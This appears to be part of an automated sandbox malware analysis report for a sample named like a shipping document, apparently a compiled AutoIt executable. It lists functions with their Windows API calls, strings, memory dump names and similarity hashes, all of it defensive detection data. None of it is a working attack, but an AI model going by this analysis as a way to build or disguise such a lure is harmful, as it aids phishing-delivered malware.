Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00E02CA2
DeleteObject.GDI32(00000000), ref: 00E02CE8
DeleteObject.GDI32(00000000), ref: 00E02CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00E02CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00E02D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 00E3C5BB
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00E3C5F4
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00E3CA1D

Part of subcall function 00E01B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00E02036,?,00000000,?,?,?,?,00E016CB,00000000,?), ref: 00E01B9A

SendMessageW.USER32(?,00001053), ref: 00E3CA5A
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00E3CA71
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00E3CA87
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00E3CA92

Strings

0, xrefs: 00E3C8B1

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 075c6d6a4236b155e1ed6fc4fee57ec47ba863c7c5cbace1f14f3024002f5e8f
Instruction ID: 02c48be87f6d9ca679a2b6fedd0b1463bba4a87e96064b39222aa71f91640858
Opcode Fuzzy Hash: 075c6d6a4236b155e1ed6fc4fee57ec47ba863c7c5cbace1f14f3024002f5e8f
Instruction Fuzzy Hash: 79127031600201EFDB15CF24C88CBA9BBE5BF45308F646569E999FB2A2C731EC85DB51

Function 00E775C0 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00E775F3
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00E776B2
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00E776F0
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00E77702
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00E77748
GetClientRect.USER32(00000000,?), ref: 00E77754
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00E77798
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00E777A7
GetStockObject.GDI32(00000011), ref: 00E777B7
SelectObject.GDI32(00000000,00000000), ref: 00E777BB
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00E777CB
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E777D4
DeleteDC.GDI32(00000000), ref: 00E777DD
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00E77809
SendMessageW.USER32(00000030,00000000,00000001), ref: 00E77820
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00E7785B
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00E7786F
SendMessageW.USER32(00000404,00000001,00000000), ref: 00E77880
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00E778B0
GetStockObject.GDI32(00000011), ref: 00E778BB
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00E778C6
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00E778D0

Strings

static, xrefs: 00E77792, 00E778AA
msctls_progress32, xrefs: 00E77851
AutoIt v3, xrefs: 00E77740
DISPLAY, xrefs: 00E7779D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: a3de261487a2dccd3c9893609f1ad5b8b04e1f1a55d7e3bb0c1c7143a8eb7a1a
Instruction ID: 4946e5272a622b90f8961e63d3238b95375ca3d7a1f079e01496e1a9e9a63747
Opcode Fuzzy Hash: a3de261487a2dccd3c9893609f1ad5b8b04e1f1a55d7e3bb0c1c7143a8eb7a1a
Instruction Fuzzy Hash: 59A17F71A40605BFEB149BA5DC4AFAE7BB9EB44710F008124FA19B72E1C771AD45CB60

Function 00E6AD9C Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00E6ADAA
GetDriveTypeW.KERNEL32(?,00E8FAC0,?,\\.\,00E8F910), ref: 00E6AE87
SetErrorMode.KERNEL32(00000000,00E8FAC0,?,\\.\,00E8F910), ref: 00E6AFE5

Strings

SCSI, xrefs: 00E6AF52
USB, xrefs: 00E6AF7C
\\.\, xrefs: 00E6ADFC
SSA, xrefs: 00E6AF6E
Removable, xrefs: 00E6AED9
PhysicalDrive, xrefs: 00E6AE33
ATA, xrefs: 00E6AF60
1394, xrefs: 00E6AF67
SSD, xrefs: 00E6AF12
Network, xrefs: 00E6AEC5
Unknown, xrefs: 00E6AEA7, 00E6AF4B
RAMDisk, xrefs: 00E6AEB1
RAID, xrefs: 00E6AF83
Fibre, xrefs: 00E6AF75
MMC, xrefs: 00E6AFA6
Fixed, xrefs: 00E6AECF
ATAPI, xrefs: 00E6AF59
iSCSI, xrefs: 00E6AF8A
SAS, xrefs: 00E6AF91
CDROM, xrefs: 00E6AEBB
FileBackedVirtual, xrefs: 00E6AFB4
SATA, xrefs: 00E6AF98
Virtual, xrefs: 00E6AFAD

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: f163bab04ac6c588e8f831e83539345fade197315a278abf8fc0a0b1a842d694
Instruction ID: 69ba88c7a3bcd1e993a13c93478aa1a3b13446759c6f4a1c7a8110c169d0727d
Opcode Fuzzy Hash: f163bab04ac6c588e8f831e83539345fade197315a278abf8fc0a0b1a842d694
Instruction Fuzzy Hash: 5B5183B4B843059ACB04EB20EAD28FAB3B4AB543847287476E906B7291CF319D41DF53

Function 00E06A3C Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00E06A91
__wcsnicmp.LIBCMT ref: 00E06AA9
__wcsnicmp.LIBCMT ref: 00E06AC1
__wcsnicmp.LIBCMT ref: 00E06AD9
__wcsnicmp.LIBCMT ref: 00E06AF1
__wcsnicmp.LIBCMT ref: 00E06B09
__wcsnicmp.LIBCMT ref: 00E06B21
__wcsnicmp.LIBCMT ref: 00E06B35
__wcsnicmp.LIBCMT ref: 00E06B76
__wcsnicmp.LIBCMT ref: 00E06B8A
__wcsnicmp.LIBCMT ref: 00E06B9E
__wcsnicmp.LIBCMT ref: 00E06BB2

Strings

#ce, xrefs: 00E06BAC
#cs, xrefs: 00E06B2F, 00E06B84
#comments-end, xrefs: 00E06B98
#OnAutoItStartRegister, xrefs: 00E06AD3
#pragma compile, xrefs: 00E06A8B
#comments-start, xrefs: 00E06B1B, 00E06B70
#include, xrefs: 00E06B03
Unterminated group of comments, xrefs: 00E3E75C
#notrayicon, xrefs: 00E06AA3
Cannot parse #include, xrefs: 00E3E749
Bad directive syntax error, xrefs: 00E3E673
#requireadmin, xrefs: 00E06ABB
#include-once, xrefs: 00E06AEB

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 4aa4c992842c4015ee7132de4535c55f8f2cb5d9705e9e0533c40888dde1f549
Instruction ID: b1e2f572289561cadd3521e53c51dfe849cd421a001d1d7b39cd76a407064d4b
Opcode Fuzzy Hash: 4aa4c992842c4015ee7132de4535c55f8f2cb5d9705e9e0533c40888dde1f549
Instruction Fuzzy Hash: 20810871740316BACB20BF60DC87FEE77A8AF15704F047025F945BA1D6EB60DA91CA91

Function 00E8A8FC Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00E8A935
SetTextColor.GDI32(?,?), ref: 00E8A939
GetSysColorBrush.USER32(0000000F), ref: 00E8A94F
GetSysColor.USER32(0000000F), ref: 00E8A95A
CreateSolidBrush.GDI32(?), ref: 00E8A95F
GetSysColor.USER32(00000011), ref: 00E8A977
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00E8A985
SelectObject.GDI32(?,00000000), ref: 00E8A996
SetBkColor.GDI32(?,00000000), ref: 00E8A99F
SelectObject.GDI32(?,?), ref: 00E8A9AC
InflateRect.USER32(?,000000FF,000000FF), ref: 00E8A9CB
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00E8A9E2
GetWindowLongW.USER32(00000000,000000F0), ref: 00E8A9F7
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00E8AA1F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00E8AA46
InflateRect.USER32(?,000000FD,000000FD), ref: 00E8AA64
DrawFocusRect.USER32(?,?), ref: 00E8AA6F
GetSysColor.USER32(00000011), ref: 00E8AA7D
SetTextColor.GDI32(?,00000000), ref: 00E8AA85
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00E8AA99
SelectObject.GDI32(?,00E8A62C), ref: 00E8AAB0
DeleteObject.GDI32(?), ref: 00E8AABB
SelectObject.GDI32(?,?), ref: 00E8AAC1
DeleteObject.GDI32(?), ref: 00E8AAC6
SetTextColor.GDI32(?,?), ref: 00E8AACC
SetBkColor.GDI32(?,?), ref: 00E8AAD6

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: afdf55e521be0e37c6b6bf84fb5b86e91e1c78896f45b1d0d4aa2f0683c4bcab
Instruction ID: a505b655f8c4e4c9cb57c6e4ab0a76cbb8c64000de129016aa2262c37cd11bab
Opcode Fuzzy Hash: afdf55e521be0e37c6b6bf84fb5b86e91e1c78896f45b1d0d4aa2f0683c4bcab
Instruction Fuzzy Hash: 40515D71901208FFDF109FA5DC48EAE7BB9EB48320F254226F919BB2A1D7719940DF90

Function 00E88A07 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00E88AF3
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E88B04
CharNextW.USER32(0000014E), ref: 00E88B33
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00E88B74
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00E88B8A
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E88B9B
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00E88BB8
SetWindowTextW.USER32(?,0000014E), ref: 00E88C0A
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00E88C20
SendMessageW.USER32(?,00001002,00000000,?), ref: 00E88C51
_memset.LIBCMT ref: 00E88C76
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00E88CBF
_memset.LIBCMT ref: 00E88D1E
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00E88D48
SendMessageW.USER32(?,00001074,?,00000001), ref: 00E88DA0
SendMessageW.USER32(?,0000133D,?,?), ref: 00E88E4D
InvalidateRect.USER32(?,00000000,00000001), ref: 00E88E6F
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00E88EB9
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00E88EE6
DrawMenuBar.USER32(?), ref: 00E88EF5
SetWindowTextW.USER32(?,0000014E), ref: 00E88F1D

Strings

0, xrefs: 00E88E87

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 2dcd33b51250075a831625fdf6532b2089250e812a587fbd0ecfb3035746664d
Instruction ID: d8d1a4db96d794c7b95750518ba19e3da3348da91b71c5be2be560bf94ddc149
Opcode Fuzzy Hash: 2dcd33b51250075a831625fdf6532b2089250e812a587fbd0ecfb3035746664d
Instruction Fuzzy Hash: 90E19F71900208AFDB20AF51CD84EEE7BB9EF04754F50915AFE1DBA2A0DB709985DF60

Function 00E848F8 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00E84A33
GetDesktopWindow.USER32 ref: 00E84A48
GetWindowRect.USER32(00000000), ref: 00E84A4F
GetWindowLongW.USER32(?,000000F0), ref: 00E84AB1
DestroyWindow.USER32(?), ref: 00E84ADD
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00E84B06
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E84B24
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00E84B4A
SendMessageW.USER32(?,00000421,?,?), ref: 00E84B5F
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00E84B72
IsWindowVisible.USER32(?), ref: 00E84B92
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00E84BAD
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00E84BC1
GetWindowRect.USER32(?,?), ref: 00E84BD9
MonitorFromPoint.USER32(?,?,00000002), ref: 00E84BFF
GetMonitorInfoW.USER32(00000000,?), ref: 00E84C19
CopyRect.USER32(?,?), ref: 00E84C30
SendMessageW.USER32(?,00000412,00000000), ref: 00E84C9B

Strings

(, xrefs: 00E84C0C
0, xrefs: 00E849DE
tooltips_class32, xrefs: 00E84AFF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 0f9066d6fc39eb1ccb990dbf6cffe973e00c98db040e32a0557292a2fd7e1fae
Instruction ID: a5961c3496aca342b1333ecb21f2b3cde5789ebcf170619ca595eb558c27f6f7
Opcode Fuzzy Hash: 0f9066d6fc39eb1ccb990dbf6cffe973e00c98db040e32a0557292a2fd7e1fae
Instruction Fuzzy Hash: 83B16CB1604342AFDB04EF65C888B6ABBE4FF84314F00991DF59DAB292D771D844CB95

Function 00E027D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00E028BC
GetSystemMetrics.USER32(00000007), ref: 00E028C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00E028EF
GetSystemMetrics.USER32(00000008), ref: 00E028F7
GetSystemMetrics.USER32(00000004), ref: 00E0291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00E02939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00E02949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00E0297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00E02990
GetClientRect.USER32(00000000,000000FF), ref: 00E029AE
GetStockObject.GDI32(00000011), ref: 00E029CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 00E029D5

Part of subcall function 00E02344: GetCursorPos.USER32(?), ref: 00E02357
Part of subcall function 00E02344: ScreenToClient.USER32(00EC57B0,?), ref: 00E02374
Part of subcall function 00E02344: GetAsyncKeyState.USER32(00000001), ref: 00E02399
Part of subcall function 00E02344: GetAsyncKeyState.USER32(00000002), ref: 00E023A7

SetTimer.USER32(00000000,00000000,00000028,00E01256), ref: 00E029FC

Strings

AutoIt v3 GUI, xrefs: 00E02974

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 30ab825195b3b497055b80915583be952df096e165a7406f8753c088cd9e7611
Instruction ID: 85105967ec72dcaeed0ffece7ca6d1b209bfe8c88e9f1673eb174fb2cf0caa23
Opcode Fuzzy Hash: 30ab825195b3b497055b80915583be952df096e165a7406f8753c088cd9e7611
Instruction Fuzzy Hash: 9BB17F71A0020ADFDB14DFA9DC49BAE7BB4FB48314F105129FA15B62E0DB70E895CB50

Function 00E5A844 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00E5A885
__swprintf.LIBCMT ref: 00E5A926
_wcscmp.LIBCMT ref: 00E5A939
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00E5A98E
_wcscmp.LIBCMT ref: 00E5A9CA
GetClassNameW.USER32(?,?,00000400), ref: 00E5AA01
GetDlgCtrlID.USER32(?), ref: 00E5AA53
GetWindowRect.USER32(?,?), ref: 00E5AA89
GetParent.USER32(?), ref: 00E5AAA7
ScreenToClient.USER32(00000000), ref: 00E5AAAE
GetClassNameW.USER32(?,?,00000100), ref: 00E5AB28
_wcscmp.LIBCMT ref: 00E5AB3C
GetWindowTextW.USER32(?,?,00000400), ref: 00E5AB62
_wcscmp.LIBCMT ref: 00E5AB76

Part of subcall function 00E237AC: _iswctype.LIBCMT ref: 00E237B4

Strings

%s%u, xrefs: 00E5A920

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 46d3cddd9af875ccc777a22fbce9475fede24861a258d34d6796014891e4deaf
Instruction ID: ddebd14715351abaa8d073f8ac9f315f1af32f76c5082a34297be8be3345146f
Opcode Fuzzy Hash: 46d3cddd9af875ccc777a22fbce9475fede24861a258d34d6796014891e4deaf
Instruction Fuzzy Hash: 88A1C171204206AFD718DF20C884BAAB7E9FF4431AF185B29FD99E2151D730E949CBD2

Function 00E5B196 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00E5B1DA
_wcscmp.LIBCMT ref: 00E5B1EB
GetWindowTextW.USER32(00000001,?,00000400), ref: 00E5B213
CharUpperBuffW.USER32(?,00000000), ref: 00E5B230
_wcscmp.LIBCMT ref: 00E5B24E
_wcsstr.LIBCMT ref: 00E5B25F
GetClassNameW.USER32(00000018,?,00000400), ref: 00E5B297
_wcscmp.LIBCMT ref: 00E5B2A7
GetWindowTextW.USER32(00000002,?,00000400), ref: 00E5B2CE
GetClassNameW.USER32(00000018,?,00000400), ref: 00E5B317
_wcscmp.LIBCMT ref: 00E5B327
GetClassNameW.USER32(00000010,?,00000400), ref: 00E5B34F
GetWindowRect.USER32(00000004,?), ref: 00E5B3B8

Strings

ThumbnailClass, xrefs: 00E5B2A2, 00E5B322
@, xrefs: 00E5B1BB

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 014c9b79b1bb690b616580c57c0c10daedbccdce4d0fe307a50265cd5c944d8e
Instruction ID: eb09826fd2a5af2df6e69795b7e37dca1a8e09c95476ad96e07d94456fce640b
Opcode Fuzzy Hash: 014c9b79b1bb690b616580c57c0c10daedbccdce4d0fe307a50265cd5c944d8e
Instruction Fuzzy Hash: BF81B4710043059FDB10DF14C885FAA77E8EF44319F14A96AFD89BA0A2EB74DD49CB61

Function 00E8C668 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

DragQueryPoint.SHELL32(?,?), ref: 00E8C691

Part of subcall function 00E8AB69: ClientToScreen.USER32(?,?), ref: 00E8AB92
Part of subcall function 00E8AB69: GetWindowRect.USER32(?,?), ref: 00E8AC08
Part of subcall function 00E8AB69: PtInRect.USER32(?,?,00E8C07E), ref: 00E8AC18

SendMessageW.USER32(?,000000B0,?,?), ref: 00E8C6FA
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00E8C705
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00E8C728
_wcscat.LIBCMT ref: 00E8C758
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00E8C76F
SendMessageW.USER32(?,000000B0,?,?), ref: 00E8C788
SendMessageW.USER32(?,000000B1,?,?), ref: 00E8C79F
SendMessageW.USER32(?,000000B1,?,?), ref: 00E8C7C1
DragFinish.SHELL32(?), ref: 00E8C7C8
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00E8C8BB

Strings

@GUI_DROPID, xrefs: 00E8C7E8
@GUI_DRAGID, xrefs: 00E8C833
@GUI_DRAGFILE, xrefs: 00E8C86A
pb, xrefs: 00E8C805

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
